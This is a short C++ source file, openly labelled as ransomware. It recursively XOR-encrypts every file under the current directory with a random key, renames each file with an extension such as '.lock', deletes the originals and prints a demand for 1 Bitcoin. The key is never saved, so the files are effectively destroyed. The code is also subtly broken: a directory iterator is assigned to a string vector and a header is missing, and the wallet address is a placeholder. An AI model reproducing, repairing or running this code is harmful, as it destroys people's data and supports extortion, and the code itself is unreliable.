// Ransomware code in C++
#include <iostream>
#include <fstream>
#include <string>
#include <ctime>
#include <filesystem>
std::string GetRandomFileExtension()
{
std::string extensions[5] = {".lock", ".crypt", ".encrypt", ".secure", ".securefile"};
return extensions[std::rand() % 5];
}
std::string GetEncryptionKey()
{
// Generate a random encryption key
std::string key = "";
const char characters[] = "0123456789ABCDEF";
for (int i = 0; i < 32; i++)
key += characters[std::rand() % 16];
return key;
}
void EncryptFile(const std::string& fileName, const std::string& encryptionKey)
{
// Open the file and read the data
std::ifstream file(fileName, std::ios::in | std::ios::binary);
std::string data((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
file.close();
// Encrypt the data
for (int i = 0; i < data.length(); i++)
data[i] ^= encryptionKey[i % encryptionKey.length()];
// Write the encrypted data to a new file
std::string newFileName = fileName + GetRandomFileExtension();
std::ofstream newFile(newFileName, std::ios::out | std::ios::binary);
newFile << data;
newFile.close();
// Delete the original file
std::filesystem::remove(fileName);
}
int main()
{
// Seed the random number generator
std::srand(time(nullptr));
// Generate an encryption key
std::string encryptionKey = GetEncryptionKey();
// Get a list of files to encrypt
std::vector<std::string> files = std::filesystem::recursive_directory_iterator(".");
// Encrypt all of the files
for (const std::string& file : files)
EncryptFile(file, encryptionKey);
// Display the ransom message
std::cout << "All of your files have been encrypted with a secure encryption algorithm!" << std::endl;
std::cout << "Send 1 Bitcoin to 1A2B3C4D5E6F7G8H9 to get the decryption key!" << std::endl;
return 0;
}
